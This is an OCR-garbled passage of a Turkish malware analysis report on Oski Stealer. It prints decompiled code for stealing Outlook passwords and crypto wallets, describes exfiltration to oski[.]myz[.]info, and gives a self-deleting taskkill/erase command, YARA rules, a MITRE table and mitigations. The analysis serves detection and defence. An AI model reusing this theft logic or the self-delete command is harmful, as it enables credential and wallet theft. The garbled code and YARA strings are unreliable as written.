"Ssoftware\\\\Microsoft\\\\0ffice\\\\16.0\\\\Outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B88ARA104B2A6676\\\\00000003"
"Software\\\\Microsoft\\\\office\\\\16.0\\\\outlook\\\\Profiles\\\\outlook\\\\9375CFF@413111d3B38A0Q104B2A6676\\\\00000004"

"Software\\\\Microsoft\\\\Windows Messaging Subsystem\\\\Profiles\\\\9375CFF@413111d3B38A0@104B2A6676\\\\00000001"

"software\\\\Microsoft\\\\Windows Messaging Subsystem\\\\Profiles\\\\9375CFFe413111d3B88A0@104B2A6676\\\\00000002"

"Software\\\\Microsoft\\\\Windows Messaging Subsystem\\\\Profiles\\\\9375CFF@413111d3B88AR@104B2A6676\\\\00eE0003"

"Software\\\\Microsoft\\\\Windows Messaging Subsystem\\\\Profiles\\\\9375CFF@413111d3B38A0@104B2A6676\\\\00000004"

Sekil 25- Zararlinin Kayit Defterindeki Outlook hesap bilgilerini elde etmede kullanacagdi dizinler

RegOpenKeyEXxA APTlile HKEY_CURENT_USER icin KEY_READ izni ile parametre
olarak verilen registry dizinleriiigin handle almaya ¢alisihir ERROR_SUCCESS degeri
return olursa RegEnumValueA APl'a varsayilana ek olarak handle ve verilerin igcine
yazilacagi char array degiskeni verilerek cagri’ yapilir. Bu c¢agr while dongusu
icerisinde return deg@erinin degili olacak sekilde ayarlanmistir yani ERROR_SUCCES

degeri alindig1 surece galigacaktir.

RegEnumValueA API ile elde edilen verilerin stringe tip donlislimU yapmasi saglanir.
Verinin Registry Deger Tipine gore switch case’de ilgili fonksiyon c¢alisir. Eger Veri Tipi
3 (binary data in any form) olarak donerse if igerisinde strstr fonksiyonu kullanarak veri
degiskenini “Password” stringinden itibaren kesmeye caligir.bdylece parolaya erigmis

olur.
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CryptUnprotectData API ile parola ¢ozumlenir. Diger Veri Tipi durumlarinda veriler
stringe cevrilmeye calisilir. fopen fonksiyonu ile outlook.txt dosyasi olusturulur. Veriler

dosyanin igine fprintf ile yazdirilir.

while ( !RegEnumValueA call(handle_reg outlook, retrived_index, Data, &size, @, &data_type, data pointer, &bufsize) )
{

sub_232078((char *)v8);

LOBYTE(v18) = 1;

std::string::operator=(Data);

v8[@] = data_type;
8[15] =
switch ( _type )
{
case 3:
if ( strstr(Data, "Password") )
{
Source = (char *)sub_24EED@((int)data pointer, bufsize);
string_copy(Destination, Source);
v6 = Source;

vl = GetProcessHeap();

HeapFree_call(v4, @, v6);

std::string: :operator=(Destination);

string copy(Destination, (char *)&byte 259491);
}

Sekil 26- Zararlinin Outlook hesap bilgilerini elde etmek icin kullandigi algoritma

Kripto ile ilgili-fonksiyonda parametre olarak kripto para ismi, cuzdan ismi ve clzdan
ile ilgili dosyanin ismi verilir.crypto klasorunun. igerisine coin ismiyle yeni bir klasor
CreateDirectoryA APl ile olusturulur. SHGetFolderPathA APl ile APPDATA klasoranin
dizini ahinir, IstrcatA API ile sonuna“ctizdan ismi dizin olarak eklenir boylece cizdanin
mutlak dizini elde edilir. SetCurrentDirectoryA API ile program clzdan dizinine gelir.

Kripto para ile ilgili veriler crypto klasérunun igine kopyalanir.

push malware. 261F98

call dword ptr ds:[<=&lstrcat>]

mov ecx,dword ptr ds:[262190] 00262190:&"*wal*. dat"

push ecx

mov edx,dword ptr ds:[26211cC] 0026211C:&" Bitcoin
push edx

mov eax,dword ptr ds:[26211C] 0026211C:&" Bitcoin
push eax

call malware.254E20

add esp,C

mov ecx,dword ptr ds:[2622E4] 002622E4:&"keystore”

push ecx

mov edx,dword ptr ds:[262680] 00262680:&" Ethereum
push edx

mov eax,dword ptr ds:[262680] 00262680:&" Ethereum
push eax

call malware. 25420

add esp,C

mov ecx,dword ptr ds:[2625E8] 002625E8: & "default_wallet”
push ecx

movhedé,dword ptr ds:[262610] 00262610:&" Electrum wallets
ush edx

Eov eax,dword ptr ds:[262620] 00262620:&" Electrum”
push eax

call malware.254E20

add esp,C

mov ecX,dword ptr ds:[2625E8] 002625E8: & "default_wallet”
push ecx

movhedg,dword ptr ds:[262290] 00262290:&" Electrum-LTC wallets
push edx

mov eax,dword ptr ds:[262344] 00262344 :&" Electrum-LTC"
push eax

Sekil 27- Zararlinin hedefledigi kripto clizdanlardan bazilarinin debuggerdaki gériintiisii }
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=

' Bilgisayarin ekran goruntusu alinir.

Kullanici adi, bilgisayar adi, sistem dili gibi bilgiler Kayit Defteri sorgulari ve API'ler

yardimiyla toplanip system.txt adinda bir dosya olusturulan dosyanin igine yazilir.

Stream = fopen(system txt, Mode);
if ( Stre:n )
{

fprintf(Stream, System  );
fprintf(Stream, "\n");

vB = sub_24B260();

fprintf(Stream, Windows, v@);
fprintf(Stream, "\n");

vl = sub 24B220();

fprintf(Stream, Bit, vl);
fprintf(Stream, "\n");

vZ2 = sub 24B1E8();

fprintf(Stream, User, v2);
fprintf(Stream, "\n");

vi = sub 24B2EG();

fprintf(Stream, Computer Name, v3);
fprintf(Stream, "\n");

v4 = sub_24ABDB():

fprintf(Stream, System language, v4);

Sekil 28- Zararlinin sistem ile'ilgili topladigi verileri system txt dosyasina yazmasi

Veriler toplandiktan sonra oski[.]myz[.]info sitesine random isimlerden olusan bir ZIP

dosyasi seklinde sikigtirilarak POST metoduyla gonderilir.

izleri temizlemek igin SetCurrentDirectoryA API ile program C:\ProgramData dizinine
getirilir. RemoveDirectoryA API ile random sayilardan olusan ve igerisinde autofill, cc,
crypto, cookies klasorleri ve passwords.ixt, system.txt,ekran gorintusu olan image

dosyalari siler. DeleteFileA APl ile indirilen 7 DLL silinir.

SetCurrentDirectoryA call{C_ PPogPamData),
RemoveDirectoryA call(programdata rndmsay direc);
DeleteFileA call(sglite3 dl11 full path);
DeleteFileA call(freebl3 dll full path);
DeleteFileA call(mozglue _dll full path);
DeleteFileA call(msvcpld® dll full path);
DeleteFileA call(nss3_dll_full path};

DeleteFileA call(softokn3_dll full path);
DeleteFileA call(vcruntimeld® dl1 full path);

Sekil 29- Zararlinin indirdigi DLL'ler ve olusturdugu klasér, dosyalari silmesi




OpenProcess, GetModuleFileNameEXxA, GetCurrentProcessID APlleri kullanilarak
zararl’nin PID degderi alinir. "*/c taskkill /pid %d & erase %s & RD /S /Q %s\\* & exit"
stringinde %s olacak yerlere PID degeri wsprintfA APl ile yazilir. ShellExecuteA APl ile

cmd.exe igerisinde yukarida verilen komut calistirihr.

"/c taskkill /pid %d & erase %s & RD /S /Q %s\\* & exit

A
v3 = GetCurrentProcessId_call(v2);
wsprintfA call(task kill command, taskkill pid , v2};
GetCurrentDirectoryA _call(26@, v5);
return ShellExecuteA call(@, @, cmd_exe, task kill command, v5, 8);
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YARA Kurali

rule OskiStealer_s
{
meta:
description = "OskiStealer"
strings:
Sstrl = "oski.myz.info"
Sstr2="056139954853430408"
Sstr3 = "\\Microsoft\\Edge\\User Data\\"
Sstrd = "outlook.txt"
Sstr5="Password"
Sstré = "KrlQo17IFiGtgle9nw=="
Sstr7 = "GZIxIBOHQTb+y2KIrtYSkaTl/pHkUM8sMbgYvUO="
Ssqll =
"CZYvIWrzRC2x9Ifpy4VB/KOcyp/eeYWgNLtW7FZ90inPWESMGXO+oUQ90luPTmY//FYp6Fk/jtbG33g/9Amy))

Ttkm82k33gs3jfLI0="

Ssql2=
"CZYVIWrzRCqs7ESshbNHxrvEmgXDcldidaZSx0gw7jXZvwo1DXKo+gsqvKSQXXNmuRgO13NejszI1GQOpw=="

Ssql3=
"CZYvIWrzRA2R1neaoKlrmPeByY/YYYF8e6Vb4RIx8iHI+wZIBXKE/gE7rYmDED87uUA47E523f/Sx2515X/QW+
n9zylh/S+z6CeCcx5wd5JwYcnj8E1jIXAdaf+hK70z19EyNRysSNAOQIZ8vwmOByNx118="

Ssql4 =
"CZYvIWrzRCu/6Eaahl)t17aa3vyQcl18fblW7Fc+7B/R/EQxBC376BwosYmHSHZ8smcx4F1hgoDEON8+iyGVBru
0jV8pon33pWPCLkpoAfATDIfh700raGEsaeyqP7Q="

$sql5 = "CZYvIWrzRCO34E+hhY1fOfvizLHcYJAsUpl41R487Trj9UU3AWmMy/hA3qol="
Ssql6="CZYvIWrzRCu/6Ebpy5pT2KKNmpbiWrgsdb5D91g47iw="
Schrl = "Bo8vvOrGCGWN8UKxjg=="
Schr2 = "FrwEuUeHICSg5A=="
Schr3 = "GbwMuODCFw=="
Schr4 = "DbYB8G3GECQ="
Sfirel = "ObwMuODCF2ut9E+sn4k="
Sfire2="NrwEuUfUSi+t6k0="
Sfire3="PLWRVUHOFzGx91rrmJ1e3aON"
condition:
all of them or
3 of ($sqgl*) and 2 of (Schr*) and any of (Sfire*) or

4 of (Sstr*) and 3 of (Ssql*)




rule OskiStealer_d
{
meta:
description = "OskiStealer"
strings:
Sstrl ="1BEFOA57BE110FD467A"

Sstr2 = "system.txt"

Sstr3 = "password.txt"

Sstr4 = "outlook.txt"
Sstr5 = "crypto"
Sstr6 = "cc"

Sstr7 ="cookies"
Sstr8 = "autofill"

Sol = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging
Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"

So2 = "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles"
Srl = "RegOpenKeyExA"

Sr2 = "RegEnumValueA"

Sf1 = "Web Data"

$f2 = "Cookies"

Sf3 = "Login Data"

$f4 = "Local State"
Sf5="logins.json"

Sf6 = "cookies.sqlite"

Sf7 = "formhistory.sqlite"
Scl = "Bitcoin"

$c2 = "Ethereum"

$c3 ="Electrum"

Sc4 = "Exodus"

Sc5 = "MultiDoge"

$c6 = "LiteCoin"

condition:

all of them or

4 of (Sstr*) and 3 of (Sc*) or
4 of (Sstr*) and 3 of (Sf*) or
2 of (Sstr*) and all of (Sr*) and all of (So*)

}




MITRE ATTACK TABLE

Execution Credential Discovery Defense Collection Exfliration
Access Evasion

Windows Credentials from Query Debugger Data from Standard Exfiltration
CommandShell Web Browsers Registry Evasion Local Encoding Over C2
(T1059.003) (T1555.003) (T1012) (T1622) System (T1132.001) Channel
(T1005) (T1041)
Steal Web Session System Deobfuscate/ Browser
Cookie Information Decode Session
(T1539) Discovery Filesor Hijacking
(T1082) Information (T1185)
(T1140)
Unsecured File and Screen
Credentials Directory Capture
(T1552.002) Discovery (T1113)
(T1083)
Archive
Collected
Data (T1560)
Automated
Collection
(T1119)

Co6ziim Onerileri

1. Glncel bir antiviris programi kullaniimahdir.

2. Kullanilan isletim sistemini guncel tutulmahdir.

3. Kripto hesaplarda var ise iki adimh dogrulama kullanmimalidir.

4. Parmak izi sifreleme USB cihazlari kullanilabilir.

5. Kullanilan uygulamalar guncel tutulmalidir.

6. Bilinmeyen e-postalarin ek dosyalari agilmamalidir.

7. Guvenilir kaynaktan olmayan linklere tiklanmamaldir.

8. Parolalar bilgisayar igerisinde agik metin seklinde depolanmamalidir.

9. Bilinmeyen uygulamalar kontrol edilmeden c¢aligtirimamalidir.
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